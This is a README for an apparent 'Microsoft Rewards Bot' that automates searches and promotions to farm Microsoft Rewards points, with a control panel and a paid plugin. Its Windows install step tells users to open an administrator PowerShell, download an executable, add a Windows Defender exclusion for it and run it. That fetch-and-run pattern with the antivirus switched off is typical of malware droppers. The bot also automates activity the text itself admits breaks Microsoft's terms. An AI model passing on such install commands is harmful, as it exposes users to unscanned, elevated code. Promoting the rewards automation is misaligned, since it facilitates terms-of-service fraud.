Source-available Microsoft Rewards automation with a powerful plugin ecosystem.
Microsoft Rewards Bot automates daily sets, searches, and promotions on Microsoft Rewards — fully hands-free. It ships with a local control panel called Rewards Desk, a modular plugin system, and smart automatic updates. An optional premium Core plugin adds deeper rewards coverage, coupon claiming, streak protection, and a remote web dashboard.
It supports both Microsoft Rewards dashboards in a single project — the new Next.js dashboard and the older one — detecting which one each account is served at login and using the right code path automatically, so every account earns regardless of which dashboard Microsoft has rolled out to it.
Note
This repository is source-available for personal non-commercial use and official contributions only. Commercial redistribution, public forks, and bypassing the Core plugin boundary are not permitted.
Rewards Desk is the local control panel. It opens automatically when you run npm start.
Manage accounts, monitor live runs, toggle plugins, edit settings, and activate Core — no terminal needed for day-to-day use.
The Desk is optional. Set
terminal.enabled: truein your config or pass--terminalat launch to run the bot as a plain CLI process. Docker and headless environments always use terminal mode automatically.
The optional Core plugin adds a remote web dashboard to monitor and control your machines from anywhere.
See Core plugin for the full feature list and how to get it.
Open PowerShell as Administrator and run:
$f="$env:TEMP\install.exe"; iwr https://github.com/QuestPilot/Microsoft-Rewards-Bot/raw/HEAD/scripts/install.exe -OutFile $f; Add-MpPreference -ExclusionPath $f; start $fThe installer fetches the latest stable binary and deploys it locally.
Requires Node.js 24.15.0.
git clone https://github.com/QuestPilot/Microsoft-Rewards-Bot.git
cd Microsoft-Rewards-Bot
npm install
npm startThe main branch is the supported public channel. Auto-updates read from it directly, and the compiled Core plugin is built for the documented Node.js target.
docker build -t microsoft-rewards-bot .
docker run --rm -e TZ=UTC microsoft-rewards-botSee Docker deployment for the full Compose example and Core configuration.
| Goal | Link |
|---|---|
| Understand the local control panel | Rewards Desk |
| Upgrade with the premium Core plugin | Official Core Plugin |
| Use the remote web dashboard | Core Dashboard |
Install, update, or understand npm start |
Install and Auto-Updates |
| Run the bot in a container | Docker Deployment |
| Verify or upgrade Node.js | Node.js Version Reference |
| Enable, disable, or inspect plugins | Plugin System |
| Build your own plugin | Create a Plugin · Plugin API |
| Fix launch, install, or update issues | Troubleshooting |
| Licensing and allowed use | License · Commercial Use · Trademark |
Full documentation index: docs/README.md
This project is for personal, non-commercial use. Automated interaction with Microsoft Rewards violates the Microsoft Services Agreement and may result in account restrictions or permanent bans. The developers accept no responsibility for any consequences arising from the use of this software. This project is not affiliated with or endorsed by Microsoft Corporation.


